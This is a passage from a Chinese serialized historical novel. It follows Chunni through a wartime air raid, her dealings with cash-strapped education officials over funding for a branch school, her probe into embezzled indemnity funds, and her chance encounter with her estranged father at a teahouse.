“别的我管不了,但噱头是噱头。队里我不允许有色|情表演,队员里,如果有谁有歪心思,立刻开除。打球就是打球,态度必须端正。” 秦伟皱了皱眉头:“这……” 春妮又道:“现在海城色|情表演还少了?你要是跟别人一样,那不也是挂着羊头卖狗肉?咱们可以提倡健康,健美之美,首先就要跟其他露肉的表演区分开。” 秦伟被她说服了:“好,我们先试一段时间。” 两人现场分工,秦伟负责协调场地,春妮负责招聘比赛的学生。又商讨了一些细节之后,他们开始分头忙碌了起来。 秦伟那里会如何准备,春妮不知道。但她这里,别说她现在有了更重要的事情做,就是没有,从她前年开始的多米诺,到去年的睡美人,哪一个投资项目玩的不比一个区区的水球比赛大? 所以,这个小项目,除了跟秦伟必须开的碰头会议,春妮不打算再像以前一样,从头跟到尾。 回去之后,她将这事跟方校长一说,都不用她出面,校长联系几个相熟的学校,在女学生里一筛选,很快为她找来了三十名符合要求的女学生。 海城是滨海城市,这里的女孩子有很多从小就会水。 他们所要做的,是在夏天来临之前,教会这群在江边长大的女孩子如何在两米深的游泳池里翻波滚浪,举着暧昧不清的旗帜,用正统体育精神,打出让各方都满意的球赛。 至于春妮自己,她在秦伟帮她打听消息的时候,就说服白云铠,让他交出自己在双城的关系,打算赶在夏天到来之前,亲自跑一趟双城。 至于海城这里,付鸿民是锦阳大酒店的股东,他经常去那里享乐。春妮让王老六找了个关系,将严广福安排进锦阳大酒店做了赌场的荷官。 她不信任赌棍,但她手里也只有严广福最熟悉赌场的那套运作规则,又暂时没别的事做,只能先把他安插进去,见机行事。 好在她想做的事也不是一天两天就能完成,她有充足的理由说服自己慢慢来。 方校长不知道春妮去双城真正在干什么,现在政府在双城,那里是大后方,即使他们一时半会儿用不到双城政府,也不能忘了那个地方,万一形势糟糕到海城再也容不下他们,他们说不定也要跟海城职教社那样退到双城去。 欧洲战火越烧越炽,义卖会才刚过去不到一个月,德国人如大家料想的一般,向法国发起了冲锋。高卢雄鸡几乎没怎么抵抗,仅仅数小时后,便彻底躺平。 法国被占领,那英国呢?战火将烧到什么地步,谁能知道?谁能预料? 他们必须多准备几条后路。 第130章 130 乐观 春妮曾设想过, 她到双城的路上或许会跟她去海城的路上误入某个战场,或是被倭国人抓走刁难。她没想到,来的这一路什么事都没发生, 反而是她到达双城的第一天晚上就遭遇了空袭。 尖锐的防空警报响起之时, 春妮坐在旅店一楼宾客区的竹椅上,正在等待李德三帮她办理入住手续。 前一刻还笑眯眯的店老板抓起脖子上的竹哨子,吹得声嘶力竭:“都到这来, 都跟我来!” 他一边吹,另一只手挑下门边的白纸灯笼,扭着矮墩墩的身子一马当先,冲出了店门外。 春妮将行李箱往大堂桌子一下塞, 赶紧跟在他身后钻了出去。不远处火光隐隐,大量浓烟腾空飞舞, 遮天蔽日,几乎看不清前面的路。 双城依山而建,地势崎岖,又因为是晚上, 春妮只能盯着前方店老板那一盏时明时灭的灯笼在人群中穿梭。这个时候,她也顾不上跟着她来的那几个小伙子有没有跟上来, 反正他们都是高她半个头的大小伙子,那身板比她还安全。又不怕走丢,只能先各自逃命, 等安全后再说。 “啊!” 忽然,春妮前方那个穿竹叶纹旗袍的女人一边往后看, 没注意脚下腾空,扭了一下,朝她的方向歪过来。 春妮先前看她穿着细高跟鞋走得踉踉跄跄, 就防着她这一下,在她歪倒的那一刹那,伸出手扶了一把。 “小妹子,多谢你了。”女人脸上带着张惶之色,还在伸着脖子往后看,冷不防又被人撞了一下。 春妮不得不攥紧她的胳膊,道:“你先注意看路吧,别把脚拐了。” 也不知道她在没在听自己的话,这时,胖老板的白灯笼倏然一闪,看不到了。 幸而跑来跑去的人中,有不少人手上都执着灯笼。借着星星点点的火光,春妮看清台阶下方是一个山洞,忙带着她钻了进去。 山洞里零零散散已经站了好些人,两个穿制服的警察站在靠外一点的方向扯着嗓子吼:“都朝里走,朝里走!” 春妮搀着的女人突然挥手:“王妈,在这里!” 一个穿着粗布衣裳,身上背了三四个包袱的黑脸妇人跑过来:“小姐。” 旗袍女人目光掠过她,看向她身后,脸色忽然一变:“安仔呢?” 王妈脸色也是一变:“怎么少爷没跟着您吗?” “他之前牵着你在玩,怎么会跟着我?” “可后面我看见他跑到你那边去了啊。” 女人顾不上责备仆妇,逆着人群往外挤去:“安仔,安仔!” 只是没挤两步,就被人流推了回来:“挤你个先人板板,往后头走!” 洞口的警察急了,挥着警棍没头没脑地打:“往里头走,没听见嗦?不准站在这,里头走里头走!” 女人满头大汗,几乎要哭出来:“安仔,安仔!” 没一会儿,她身上脸上被人推来挤去,眼看就要再倒下去。 她的仆人王妈抱着包袱不敢丢,只能跟在她身边喊:“别推别挤,都让让,让让,让我们出去。” 外面的人黑潮一般涌进来,眼看两人要涌没在人群之中发生踩踏事故,春妮实在看不过眼,跟着挤过去,一手挥开她身边的人,护着她往外走:“你孩子长什么样?我帮你看看。” “他,他今年有两岁,穿着蓝色短褂,脑袋剃光了头发,只有耳后留两撮……”女人反应不慢,立刻将孩子特征报出来。 “你看那个是不是?”春妮眼睛尖,不等她报完,一眼看到被区明顶在脖子上,正在哇哇大哭的穿蓝褂小男孩。 女人大喜过望,就要跑过去接孩子:“安仔!” 春妮眼疾手快,急忙拽住她,道:“别着急,抱他的人我认识。”说着,她冲那边用力挥了挥手:“区明,这里!” 两方穿越人海顺利会合,女人抱着孩子不撒手,几乎软倒。春妮看她和王妈两个女人家被挤得实在艰难,让几个小伙子跟在左右,随着人群一齐涌到里面,找了个略微宽敞的地方坐下来。 山洞里已经挤了不少人进来。 春妮看见,有人趿草鞋,有人捧茶壶,有人提着小马扎,还有人拿着席子原地铺展开,取出一副叶子牌招呼熟人亲友席地而坐,旁若无人地玩起了牌。洞口处,巡警冷白的手电筒时不时扫过,洞壁两侧,两点煤油灯闪着幽幽的黄光。哪怕耳边轰雷阵阵,炸弹就在耳边炸响,他们竟是对这样的情形已经熟视无睹,甚至安之若素。 “哎呀,还没多谢你。小姑娘,小伙子,谢谢你们帮忙找回我家安仔。”旗袍女人拍着儿子哄了半天,终于想起来多谢眼前的大功臣。 春妮顺势跟她寒喧,得知她夫家姓黎,竟是从海城开始,就跟自己坐的同一班船,同样在天门码头下的船,还进了同一间旅馆。 黎太太为这样的巧合欣喜不已:“我们家安仔从上了船就开始不舒服,病了小半个月,不然,说不定我早跟妹妹认识了。” 言谈中,黎太太告诉春妮,她丈夫是双城政府的雇员,两人婚后育有一女。原本该在三年多前就随着丈夫撤离到双城,只是临离开前她发现自己怀了身孕。 为了母子俩的安全,黎太太不得不撇下丈夫爱女,先回海城娘家安胎,直到三年后,孩子满了两岁,才敢带他上路同丈夫会合。 她又问起春妮到双城的目的,春妮将学校办分校这事告诉了她。 因为要调查付鸿民的事,来之前春妮就跟众人统一了说辞,先打着办分校的旗号,将双城教育部的几号人摸熟再说。 黎太太惊喜道:“哎呀,我先生就是教育部的,这件事到时候我可以让他来帮你们。” 教育部? 出门见彩啊! 春妮跟李德三对视一眼,笑道:“那可不是巧了,到时候还需仰望黎先生关照一二。” 黎太太满口答应:“仰望不敢当,你们可是我安仔的救命恩人。” 这时,因为差点弄丢少爷,一直不敢作声的王妈见缝插针,拍了春妮一句马屁:“顾小姐年纪轻轻,竟然都能办学校了,真能干。” 黎太太原还没注意,这时方疑道:“是啊。你一个小姑娘,学校怎么会放你出来办这么大的事?” 春妮早就因为这副少女的容貌不知让多少人看扁过,她又不是在说瞎话,故而丝毫不怵,拿出应付人的那套说辞,打消了黎太太的疑虑。 这时已近晚上八点,进入防空洞的人越来越多。闷窄的防空洞里很快被咸菜味,汗臭味,脚臭味等各种味道填满。 春妮见他们对这套程序似是熟极而流,早就忍不住好奇心,问旁边的本地人:“大哥,你们都好镇定啊,怎么都不怕的?” “小妹子刚来我们城里不久吧?”大哥拍了拍头上从洞顶簌簌落下的灰,道:“小鬼子三天两头都要来炸一回,天上一嗡嗡,老子们就晓得他们要拉什么屎,怕有个屁用?待到一炮轰死了,谁也不认识谁。政府给你包埋,不要你出板子钱,还有这么多人作伴下去摆龙门阵,啷个不划算嘛?” 春妮:“……”都说蜀人天生乐观,天塌下来当棉被盖,果真百闻不如一见。 玩笑归玩笑,接下来大哥照他的经验跟春妮估计了一下,至少还有一两个小时出得去,还老道地安慰这一干妇孺:“不怕的啊,出去了吃个盐茶鸡蛋。这边天门码头日夜都有宵夜卖,饿不着。” 他完全没看见,旁边的黎太太主仆俩被他安慰得差点又哭出了声。 春妮又问起那些人手执的灯笼,大哥告诉她,市府规定,每家每户到了晚上都要在门口点一盏,遇到空袭摘下来就跑也好照个亮。 乐观的本地人大哥估算得不错,三个小时,将近凌晨之后,轰炸终于停了下来。 又等了一会儿,直到前面有了动静。他们这处的人们提着灯笼,夹着板凳也开始往外走。因为早在进洞时,大部分灯笼都已经被值勤的巡警灭掉了。防空洞外边放了两条点燃的火把,那些手上有灯笼的人经过时,便将灯芯拔|出来,拢在火把上点燃,再放回到灯笼中。 队伍快速挪动着,很快即将轮到春妮她们。 她站起来活动了一下筋骨:因为战争阻断了铁路与陆路,她这一趟仍跟去海城一样,全程坐的蒸汽轮船走水路。好在从海城到双城是一条吴江贯穿始终,虽然有道路障碍,不过是在沦陷区与国统区交界处多换两回船,多走一些路罢了。 校长知道春妮此行凶险,差旅费给她拨得非常充足,从一开始就给她订的是怡和洋行的客运船二等舱,因而她这一路并没有受什么罪。说起来,她最累的一段,竟是在防空洞里枯坐的这三个小时。 这是春妮有生以来第一次遭遇空袭,还无法做到像本地人那样淡定麻木,每每听到高空战机轰鸣的声音,她总要一惊一乍地站起来凝神戒备,直到那声音远去,因而相当耗神。 一直跟在春妮旁边的黎太太也露出了期冀的笑容,她探身过来,与春妮说着见到黎先生的打算:“你改日跟我一起去家里吃顿便饭。我先生家请了上好的苏菜师傅……” 而就在这时,一只四方方的灯笼伸到火把下面。 这灯笼用最简单的竹蔑扎成,外头糊着一层白色麻纸,烛芯一跳一跳,映出麻纸上八个血淋淋的大字:“血海深仇,代代不忘”。【注】 春妮脸上的笑容蓦地一定。 130-140 第131章 131 忽悠 就跟没料到到双城第一天就挨倭国人轰炸一样, 春妮也没料到,黎先生作为教育部的副科长,正经的官僚之家, 家里竟连摆一桌待客酒席的钱都张罗不出来。 现在是春妮到双城的第二天。 她坐在黎家客厅里的小沙发上, 这间墙皮青砖裸露的小房子隔音不太好。 春妮听得很清楚,一墙之隔,黎太太拉着黎先生在低声说话:“我这里有五块钱,你让王妈先拿去在外边叫一桌酒席。” “这……怎么好用你的钱?” “这种时候,不要分你的我的了。顾小姐和区先生是安仔的救命恩人,你总不能救命恩人上门,请别人吃白水煮菜吧?你也是, 日子不好过,直说就是, 做甚骗我家里天天吃鱼吃肉,现在好不窘迫……” “我也是怕你被舅兄家里……” 木门吱哑一声响,黎太太走出来冲客人抱歉地笑:“回来得匆忙,家里什么都没有, 大家稍坐片刻,我已经叫王妈去叫了一桌席。” 春妮几人忙站起来劝:“这怎么好意思?原本就是我们贸然登门, 给贤伉俪添了麻烦。” 事实的确如此,黎太太在旅馆歇了一晚上,按丈夫给的地址找了过去。春妮急着办事, 打着双城人生地不熟,几人同去遇事好有个照应的旗号, 护着黎太太一同到了黎家。谁也没想到,来后会是这样的尴尬场面。 黎太太果真贤妻良母,回来不到半个钟头, 就勤勤恳恳操持起了家务。 然而这里也没什么可操持,黎先生现在住的是间平房,里外用竹帘隔开,院子里搭了个灶台,就是厨房了。里头情形不知,外头春妮带来的几个大小伙子在小板凳上一坐,将整个房子挤得无处下脚。 堂堂教育部官员就住这样的房子?也太……清贫了吧? 如果不是春妮身上无利可图,这时候通讯不便捷,她都要怀疑这两夫妇是故意装穷来套路她的。 幸而黎先生住的简陋,位置却不差。出了巷子往外头走一点,就是双城最繁华的街道,半个钟头后,一桌色香味俱全的酒席上了桌。 黎先生穿长衫戴眼镜,是个典型的文人,他即使一家团聚,脸上的郁色也没有化开半分。但看得出,他受过极好的教养,仍是在热情招待妻子带来的客人:“各位请随意,不要嫌弃菜食简薄,现在双城……清妹!” 黎先生一声断喝,将趁大人不注意,钻进来偷肉吃的小姑娘钳制住:“不好意思,孩子不懂事,见笑了。清妹,快给客人道歉!” 清妹嘴里鼓囊囊塞着半块回锅肉,被噎得直翻白眼。 黎先生一迭声叫王妈,要她把孩子抱下去。 众人急忙插科打诨,把这一段糊弄过去。 黎先生借坡下驴,挨个儿给男孩子们斟酒致歉,又叫黎太太照顾唯一的女眷。三杯酒下肚,气氛渐渐热闹起来。 春妮几人早看出黎家的困境,说了几句闲话,将话题不着痕迹地往这上面上引。 酒入愁肠,黎先生吐露了一点心声:“外人都说我们给政府做事定是个个富得流油,可现在政府要打仗,要征兵,还要买武器,能有一点钱勉强不死罢了,哪里有油水可赚?何况我们的薪水从五年前开始,就没再涨过了,薪水不涨物价涨。米珠薪桂,我们也是困锁愁城啊。” 有黎先生这个政府公务员解说,众人这才明白,双城政府早就入不敷出。总统夫人领着家里人外出演讲几回,倒是带回来些许金援,然而这钱在银行里转了一圈,就少了一半。更不提底下的头头脑脑再过手一遍,真正能用到实务上的,十中无一。 而双城政府的支出中,军费毫无疑问是最大头。其他的,民政,教育,乃至警察部门都要倒退几里地为军费让路。当然,民政和警察有其他来钱的地方,唯有教育,不止来不了钱,反而还要想方设法往里倒填。 就连那些撤退到西南的大学教授都因为拨款迟迟不到位在饿肚子,他们这些小科员出身的吏员,能有口饱饭吃已经是老天爷不弃。对比路上那些倒卧而死的流民乞丐,就算政府时不时欠薪,勒勒裤腰带,也不是不能忍得。 在双城履职三载,黎先生哭穷早就哭得得心应手。他是政府公务员,没钱方显两袖清风,若是哪一日他眼睛不眨地办出桌满汉全席,才该提心吊胆,夜里盗汗难眠。 黎先生这话有几分真,春妮不好说。这年头的人戴着好几层面具,没个甚稀奇。 后头她带着李德三拿跑程序选址的名义跑了好几趟双城教育局……唔,的确是穷。 双城最好的建筑早叫流落至此的各方大员占得差不多,教育局的老爷们只能委屈窝在山上的一处红砖平房内,包括局长在内,拿粗陶盖碗装着点陈年碎茶叶,闷出一碗焦苦的茶香味,这便是局里唯一待客的饮品。 真正的穷是装不出来的。 双城不是茶叶产区,这类物资让倭国人把持拦截,层层加价之后,流散到双城来,普通人哪里喝得起。也只有政府采购,分到教育部一点茶叶梗,大家能勉强蹭一蹭光。 正因为穷,该有的孝敬更少不了。你上面又没有人,人家随随便便拿个“不合程序”的理由卡你十天半个月,难不难受?不过现在政府鼓励办教育,大家也不敢做得太过,给点茶水费,意思意思便是。 春妮他们是正儿八经地在摸底,也是正儿八经地准备办分校。 几个人白天找几个在码头边等活干的棒棒满城乱转,寻找合适的地点为学校选址。晚上由黎先生领着,今天拜访这个处长,明天给那个次长递片子,一周下来,将这破落衙门里的人头都混了个脸熟。 跟教育局相比,教育部稍微光鲜一点,但也是半斤八两。教育部食堂包饭,白菜炒豆腐,豆腐拌豆酱,这就是普通科员的饭菜,不过好歹有白米吃,这点已强甚双城九成以上的人。 当年开战前后,双城学校迎来一拨迁校办校的风潮,时隔三年多,这股风潮早就刮尽,教育活动进入正轨,每年拨款恒定而永久地……少。 好容易遇到一个又来迁校的,哪怕没听过名头,春妮他们也得到了教育部上下周到热情的招待。 政府每年拨款有限,他们想多点收入,自然要欢迎各方人士落地办校。从学校动迁,到交通费用,再到选址落地,需要的资金可不少,必然要向上面申请拨款支持。拨款就像汽车的润滑剂一般,有了它,才能让这些腹中寡淡,脸颊凹陷的基层科员们开始丝滑般运动。 哪怕没有拨款,他们能千里迢迢到这里办校,肯定有另外的经费来源,这也是额外之喜啊。 海城跟双城隔山隔水,两边交通早就断绝,电话也不通。春妮仗着两边信息不通,张口就来:“租界租金一涨再涨,巡捕杂捐,救火费逼得人喘不过气。我们原先负责筹款的几位先生也不在海城,学校实在办不下去,只能谋求搬迁。只是动员需要时间,我作为先遣军看能不能办个分校。” 总之就是没钱,一切只能依靠国家,依靠各位大人支持这样。 然后再说他们老师的教学能力,“去年毕业的学生均已找到合适的工作,这是他们的入职证明,您看看。”能自谋生路的都顺利毕业了,不能自谋生路的,全留在好多趣当木匠学徒,或是在她的小吃摊打工,所以就业率肯定是百分百这样。 又说他们学校高大上的科目:“机械系,电气系,印刷系,工业设计系……”五花八门,比有些大学的科系还多,听上去个个也很实用。 再让李铁柱将他的木雕作品拿出来:“这是我们学生学了一年的成果,您看看可还入眼?” 一套组合拳忽悠下来,教育部上下都对春妮这一行人的印象加深了不少。 而且,这个战前名不见经传的“江浦基础技能学校”学生在海城就业率竟能达到将近百分之百,其中最优秀的学生还被英国人俱乐部选去作高级职员。英国人都看中的学校,还能有不好?这妥妥是教育有方的好学校啊! 这样的学校不比那些空占教育资金,从上到下只有瘟猫两三只的山野村学好十倍百倍? 再则,白云铠因为他的悲情和经历,政府这边曾下大力为他宣传过,有白云铠为春妮写信引路,他们又少走了一截弯路。 他的同僚同学朋友中,有一位曲里拐弯的亲戚是教育部某司次长,借他的关系,春妮几人得以面陈某副部长自己学校在海城的辉煌业绩。 几个人城里城外跑了半个多月,再加上春妮手握的那一大叠“入职证明”“优秀员工证明”,官员们从满脸疑虑,到将信将疑,再到……如获至宝倒还不至于,但很快0先敲定了学校的地址。而春妮晚上由黎先生带着去到处交际拜访也有了作用,由双城教育局提交上去的教育拨款已经答复下来,教育部初步同意拨款两万块……法币,帮助江浦基础技能学校办分校。 国统区这里的合法货币还是法币,两万块法币,大概也就相当于不到一千块大洋。其实在这个年代,对于他们这个中专技术学校来说,已经很不少了。如果不是白云铠的关系,他们可能连一半都申请不下来。 但这两万块到春妮手上时,已经只剩不到一万块。 而来的这一趟,春妮一个人的船票杂费就是将近五十块现大洋。 黎先生怕她跟以前那些不通庶务的书呆子一样,闹将起来,大家脸上都不好看,说不好还坏了事。事前将她先请到一个茶馆里,先灌了一肚子茶水消火,方道:“这半个多月,我们跟着你们跑上跑下,不可谓不尽心吧?” 春妮捏着支票信封,不说话。 黎先生心里没底,只好接着道:“你也看到了,部里没钱,两个月没发薪,外头什么都贵,大家生活也困难。这些钱,你只当是大家问你们学校借的。这样,往后你们学校有什么事,部里也算有了人。对不对?” “您别跟我说部里没钱了。”春妮道:“明明外头的钱源源不断捐进来,怎么倒闹得越来越穷?连自己人都发不起薪水了?” “这事吧,你不能只看捐钱,还得看我们的支出啊,入不敷——”黎先生长声叹气。 没等一口气叹完,春妮截断道:“再支出也不会比刚开战那会儿支出的多吧?那会儿多少学校迁过来,也没见穷成这样。光我在部里进出的这半个月,都看见多少捐款进来了?中英联合商会,东南亚爱国商会,还有英国庚款专项退款——” 她这是打哪打听来的消息! 黎先生哽了一下:“这些都是有专门用途的,英国专项退款那是给英国教会学校——” “那法国呢?法国总没有教会学校支援了吧?法国退款哪去了?”作为“受害者”,春妮终于有了权力将这句话明明白白地问出来。 “我们有这么多沦陷区,那么多爱国失学学生,这些也要管吧。法国的这笔钱就是负责这件事的。” 春妮嗤笑:“您别唬我了,我就是从沦陷区来的,要是有这个钱补贴,我至于千里迢迢跑到海城来开分校?” “部里有自己的计划,你不知道不代表没有。”黎先生拿出官场万金油的派头,有些不耐烦了。 春妮兀自计较:“我记得,法国每年要收我们五六百万赔款,就算只退一半,也有小三百万回来。这么大一笔钱,总不至于凭空消失吧。” 黎先生浑然不觉,话题已经从“教育部科员借支费”滑到了“庚款退款流向”这个更加危险的话题。 他只见这小姑娘俯身凑过来,低声道:“黎先生,咱们认识这么久了,我的人品您也知道。我只求您给指个明路,我也不要多的,只要够我们学校老师的差旅费就好。没有路费,咱们在海城没钱上路。其他的,我们自己想办法。当然,如果事成……” 第132章 132 紧迫 春妮他们在双城为学校铺路的时候, 海城那里也没闲着。 严广福顺利混进锦阳大酒店,因为掷得一手好骰子,有一回被付鸿民看中, 点他在身边伺候。他不负付鸿民所望, 接过骰盅,为他摇出了一个豹子,一个顺子,让他当晚赢了一大笔钱。从那之后,每回付鸿民去锦阳大酒店,总要招他到身边伺候。 前文有述,付氏此人只是贪婪好色, 其实城府一般。又因身在沦陷区,缺少监管, 日渐放浪形骸。他行事随意,像这种贪腐大事竟是不怎么避人。严广福跟在他身边,只是四五回,便见他随手拿出不知从哪来的单据, 让人填报一个数字放在文件袋里带回去,大概凭此据就可以做帐核销。 因为两地通讯不畅, 这样的细节春妮这边自然不可能知道得那样清楚。 落在电报上的,只有这三个字:“假单据。” 付鸿民果然是在用单据造假的方式骗取拨款报销。 通过秦伟,春妮已经知道, 法方的退款打在一个叫华法联会的帐户上,那个帐户在战前的确真实存在, 包括华法联会这个组织也是真的。但战争开始之后,联会里的董事一个个离开海城,最后只剩下付鸿民一个人, 签字报帐的都是他,没有人守钥匙监管,他便可以随意挥霍这笔巨款。 但既然是教育拨款,教育部肯定有权限监管。就是不知道他是仗着山高皇帝远,政府一时管不到他头上,他在胡作,还是上面有人,不怕人来查。 而黎先生告诉春妮:“法方拨款都是固定打入某几个帐户,并不经过教育部的手。你想要也没地方讨。” 春妮不服道:“不试试怎么知道?您不也说,这些款项都是给我们用的。您只需告诉我去哪里申请,我跟在这里一样,走程序去申请用度,这总行了吧?” 黎先生摇头道:“沦陷区情况特殊,那些帐户都掌握在部长手中,我也不知道。” 这就是说,付鸿民的事,部长也可能参与其中。 “副部长,次长也不知道?”春妮刨根问底。 黎先生继续摇头:“这我就不知道了。我猜测,只有负责那一地区的次长可能知道一些。” 唔,还有某几个直接负责的次长也有可能。 “那我们海城呢?您也不知道?” 黎先生苦笑起来:“顾小姐,我不过是教育部一名小小的吏员,像这样的机密,哪里接触得到?” “可这点钱实在太少了,”春妮愁眉苦脸道:“只能请黎先生您再帮帮忙,给我引个路。我们海城这么大,肯定有专员负责这些事。统共这么一点钱,我们总不能路上要 着饭到双城吧?” 黎先生叹了口气:“好吧。那我再帮你打听打听。” 黎先生离开茶馆后,春妮再次去拜访了通过白云铠关系认识的那位次长,推说在其他人那里打听到的庚款教育专款,请次长帮忙牵线要钱,次长又推荐她去找部长…… 你推我,我推你,太极再打完一圈之后,这套专项款的申请流程和经手人,春妮也算是勉强搞明白了。 整个教育部,明白付鸿民那点猫腻的,应该只有部长一人。主要是他战前地位在教育部就是二把手,次长一级的人物原先也辖制不到他。而海城原本就是华国最发达的现代城市,是华国的海疆窗口,即使现在被倭国人攻占,政府也不可能真的放弃。 像春妮这样学校搬迁,学生投奔内地,乃至租界办补习班,炸毁的学校复课复学,都该由他们出面协调组织。然而从常先生开始,她从来没听说过这个联会,他们也没出过一个人,给过一分钱来帮他们哪怕一丁点忙。 春妮试探着跟部长说起这些,部长和言悦色地说,海城事务太多,还有倭国人绊手绊脚,为下属的性命着想,他们没办法公开活动,免得哪天被人惦记上摘了脑袋。既然她已经知道有这个联会帮忙,他会责成下面人去海城速办此事。 老爷们一打起官腔,她就完全明白了。 她忙说,这点小事不敢劳动各位专员大驾,部长给她手书一张条子,她让海城那边帮她办就是了。 想弄清楚的都清楚得差不多,春妮也该打道回府了。 就像白云铠说的那样,其实这已经是相对最好的形势,她想要这笔钱,只需要打通部长一个人的关节,或是回去后吓唬姓付的一顿,想必便可得偿所愿。 国际形势一日三变,她总怕今天倭国人还守在租界外头,明天他们便长驱直入,把学校给占了封了。 尤其是法国已经躺平成瘟鸡一只,这更让她感到时不待我的紧迫。 然而教育部刚刚批复了学校选址,地契也要办。 再有她这几日在双城转去转来,发现此地山上长着大片优质竹林,什么毛竹、斑竹、赤竹、罗汉竹,软的硬的,脆的韧的,足有十几种。因为是山城,战前并没有得到政府的重视,人们的生活还维持着相对原始的方式,这一片竹林保留得相当好,看得春妮又动了心思。 最后是方校长拍的电报给了她定心丸,电报上说,他选好了分校校长,此人已经上了路,让她等在双城,两边交接之后再离开。 春妮从海城到双城,路上花去了近十天。校长知道此事耽误不得,海城也确实需要春妮这个保护神时不时在巡捕房门口晃晃。剩下那几个在他眼里都还是办事不牢的毛孩子,她要是在这时候离开,怕是他们要浪费好不容易打开的场面。估计是她刚到双城,确认好学校能够在这里开下去没多久后,校长就物色到了新人选,她接到电报时,那人离开海城已经有了两天。 如此,春妮安心留在双城,等待新校长抵达交接之后再回海城。 李德三这几个小伙子跟她天南海北地转过两回,其实都历练得差不多。至少到政府部门跑跑程序,没事找他们喝个茶,说个话,这点小事还是能办的。 春妮跟着去了两日,觉得这里不需要她,又琢磨起了给玩具厂开分厂的事。 虽说双城城区时常被倭军滋扰,炸得破破烂烂的,那些战前在海城住小洋楼的有钱人可能现在都挤住在山间一方方错落的平房里,忍着夏天的蚊蝇,秋天的山风,但论及享受,肯定也是不虚旁人。 大不了,他们改换个名头,将凉席的价格降一些下来,肯定也不差人买。 双城政府重视基础教育和高等教育,反而是他们这样中不溜的学校很容易受到忽视。因为战事,涌进双城来的难民同样很多,有些人住在天门码头滩涂上的草棚里,自然是送不起孩子读书的。 不知是不是在学校待时间长了,现在春妮看着那些成天在码头乱窜的孩子,恨不得亲身上阵,将他们全都抓进学堂里上课。 正好在等新校长履任的日子里,他们还得找人为学校画图纸,打地基建校舍,办校办厂两件事一起办了也不错。 春妮给自己安排好活计,第二天打听好民政局地址,劲头头地带着得力干将李德三,找去了地方。 岂知两个外地人找店老板打听路途之时,问得清清楚楚,民政局办事处就设在两条街以外的二层小楼上。站在码头上,春妮几个都看得见。 偏偏等他们走过去,走了大半天都没到不说,还几次走岔路,越走越远了。 望着天上越发毒辣的日头,春妮有些后悔,没有听从老板的建议,找个滑竿担他们上山。不然找去找来半天过去,不是平白耽误时间? 明明这么近,他们却一直走不到,也是有原因的。双城是山城,路况原本就复杂,很多民居都是依山而建,看着是很近,但走那上上下下的阶梯,再绕过如蛛网般的小路,不熟悉的人很容易迷路。 前面半个月,他们请了棒棒带路倒好说,现在单独出行,一托大,立刻就把自己绕进去了。 “那边有个茶馆,我们先进去喝杯茶歇个凉再说吧。” 这会儿已近五月,双城历来热得早,走了大半天,李德三也坚持不住了。 这茶馆外头打着个幡子,上书四字“顾氏茶馆”,倒是跟春妮一个姓。 茶馆跟路边其他的饭馆百货店一样,灰扑扑的不甚起眼。春妮看进去的人中穿着都一般,料想自己也喝得起,点了点头:“也好,你拉我一把。” 柜台里没人,二人找个靠窗的位置坐下来,不一会儿小二从其他桌上过来,笑问两位新客:“几位客人,想喝点什么?” “你们都有些什么茶?” “有毛尖,银针,普洱……”小二不歇气儿,报出十几种茶叶名字,最后笑问:“客官想喝点什么?客官?客官?” 李德三伸手在春妮眼睛前晃晃:“发什么愣呢?人家问你话。” 春妮猛地回神,目光从柜台旁边的某个人身上拔开:“你们这最普通的茶,给我先上一壶。” “那就龙珠茶?” “……啊?可以。”春妮勉强收束心神:“再上一碟香干,一碟花生米。” “好嘞!一碟香干,一碟花生米,稍等!” 小二离开后,李德三忍不住问她:“你刚刚怎么了?神不守舍的。” “没怎么。”春妮微合眼帘,心情已经完全平复下来,微微冷笑。 秦惠君派去双城打听消息的人不靠谱啊,顾茂丰不是好端端站在双城,连根头发丝都没掉吗? 第133章 133 哦嚯 春妮记性好, 纵然这辈子没见过亲爹几回,怎么也不可能把人认错。 尤其听见他那夹腔洋调的海城口音,愈发肯定自己的猜测, 只是按在心里默默观察。 待到茶水上桌, 一杯热茶下肚,逼出一脑门的汗,春妮已经完全恢复了冷静。 她坐的这个位置正对柜台,顾茂丰站在里边拨弄着算盘珠子。春妮看他面颊有肉,衣饰洁净,料想这人这几年过得定是不差。便是神色中带了两分抑郁,多半也是同这街上的其他人一样, 因为战争而忧心。 至于他已死在山上的老娘和发妻,只怕是连名字都不记得了。 这人倒是灵醒, 春妮打量他两眼,他仿似有所察觉,抬起眼皮看了过来。 春妮垂下眼睛,不确定顾茂丰到底认不认识自己。 在她周岁, 三岁时,妈妈曾带她到县里的照相馆照过相, 相片洗出来后,往海城寄过这两回。再就是六岁那年,她寻亲的那一次, 跟姓顾的在一个屋檐下住了一天。其后妈妈带着她回乡下种地,再也不提城里的丈夫, 就连后来她生夏生,都是她奶奶张罗着往海城发了电报,至于夏生的相片, 都让她妈收在家里的箱子,一张没再往外寄过。 如果他真的认出了自己……不会的,从女童到少女,她的变化这样大,不是亲近的人,谁能认得出? 如果他认不出自己,那自己要主动上前剖白身份? 春妮短短的这一生中,从未有过这样举棋不定的时刻。 如果是刚到海城,没站稳脚跟的时节,春妮或许还有些许耐心 敷衍他,教导夏生跟他演一场父慈子孝的把戏,但现在她有朋友有师长,还有一份稳定的收入,不怕朝不保夕三餐不继,她实在想不出有什么认爹的必要。 但她答应过妈妈,会完成奶奶的遗愿,会将奶奶的灵牌交到爹的手上,让她在下面吃上一碗不孝子供的饭。 答应了人的事,就要做到。 花生米一颗一颗地拈,终有吃完的时候。 春妮站了起来,摸出一个银毫子搁在柜台上:“老板,结帐了。” “哎,客人稍等,”顾茂丰笑眯眯的,一副和气生财的生意人模样,数出几个铜角子找零,寒喧道:“小姑娘,我看你有些眼熟啊,我们是不是在哪认识过?” 春妮抬眼将他一看,摇头道:“老板认错了吧。” 在没拿定主意之前,她没打算先暴露自己。 顾茂丰“哦”了一声:“以前没见过你,你不是这边的街坊吧?” 这人还挺敏感,刚刚那两眼莫不是就让他起了疑? 春妮笑笑:“老板,你这里收不收今年的茶叶?” “小姑娘竟是贩茶的茶商?看不出来啊,”顾茂丰恍然,随口问道:“你有什么茶?” “上好的毛尖,要不要?”春妮道。 按照春妮以往的习惯,出一趟远门肯定会采购些东西贩出去。只是海城被封锁,什么东西到了那只有卖得更高的份,若是从海城贩东西出来卖,怕是会赔死,只能趁船只停泊补给时沿途留意,若是有价钱合适的土物,收一些找机会到别处卖出去,春妮说的毛尖便是客船在阳城停泊时发现的新茶。 因为战乱,物流不通,茶商们很少再去茶园里收货,大好的茶园收了茶只能堆积在库房里放陈。有些茶农只好每天早早在码头这些外地人多的地方,指望路过的客人能收一些回去。 